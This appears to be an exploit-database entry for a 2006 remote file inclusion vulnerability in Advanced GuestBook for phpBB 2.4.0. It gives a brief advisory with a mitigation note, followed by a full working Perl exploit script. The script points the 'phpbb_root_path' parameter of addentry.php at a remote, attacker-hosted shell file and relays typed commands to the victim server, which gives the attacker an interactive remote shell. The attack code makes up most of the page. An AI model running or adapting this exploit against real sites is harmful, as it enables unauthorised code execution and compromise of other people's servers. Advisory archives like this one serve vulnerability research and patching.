Advanced GuestBook for phpBB

vendor:

by:

n0m3rcy

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Advanced GuestBook for phpBB

Affected Version From: 2.4.0

Affected Version To: 2.4.0

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Advanced GuestBook for phpBB <= 2.4.0 Remote File Inclusion Exploit

Advanced GuestBook for phpBB <= 2.4.0 is vulnerable to a remote file inclusion vulnerability. This vulnerability allows an attacker to execute arbitrary code on the vulnerable server. The vulnerability is due to the 'phpbb_root_path' parameter in the 'addentry.php' script not being properly sanitized before being used in a 'require_once' function call. This can be exploited to include arbitrary files from remote hosts and execute arbitrary PHP code.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of Advanced GuestBook for phpBB.

Source

Exploit-DB raw data:

#!usr/bin/perl
use LWP::UserAgent;
# Bug Found by [Oo]
# Exploit coded by n0m3rcy
# Copyright (c) 2006 n0m3rcy@bsdmail.org
# Gr33tz; nukedx , Devil-00 , str0ke , cijfer
# Usage; n0ag.pl <target> <cmd shell location> <cmd shell variable>
if (@ARGV ne 3) { &usage; }
else { &exploit; }
sub header() {
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
print "+    Advanced GuestBook for phpBB <= 2.4.0 Remote File Inclusion Exploit      +\r\n";
print "+                             Bug found by [Oo]                               +\r\n";
print "+                     Copyright (c) 2006 n0m3rcy@bsdmail.org                  +\r\n";
print "+                  Gr33tz: nukedx , cijfer , str0ke , Devil-00                +\r\n";
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
}
sub usage() {
  &header;
  print "- Usage: $0 <target> <cmd shell location> <cmd shell variable>\r\n";
  print "- <target> -> Victim's target ex: www.victim.com/path/\r\n";
  print "- <cmd shell location> -> www.milw0rm.com/shelltxt\r\n";
  print "- <cmd shell variable> -> cmd\r\n";
  exit();
}
sub exploit () {
my $tar = $ARGV[0];
my $cmdt = $ARGV[1];
my $cmdv = $ARGV[2];
while() {
print "[CMD] \$";
while(<STDIN>) {
$cmd=$_;
chomp($cmd);
my $exp = LWP::UserAgent->new() or die;
my $go = HTTP::Request->new(GET =>$tar.' admin/addentry.php?phpbb_root_path='.$cmdt.'?&'.$cmdv.'='.$cmd)or die "\r\n[-] Connected fail\n";
my $rgo = $exp->request($go);
my $return = $rgo->content;
my $return =~ tr/[\n]/[ê]/;
if (!$cmd) { print "\nPlease Enter a Command\n\n"; $return =""; }
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       { print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit }
elsif ($return =~/^<br.\/>.<b>Fatal.error/) { print "\nInvalid Command or No Return\n\n" }
if ($return =~ /(.*)/) {
my $finreturn = $1;
my $finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
print "[+] Exploit successed\r\n";
last;
}
else { print "[CMD] \$"; } 
last;
}
exit;
}
}

# milw0rm.com [2006-04-28]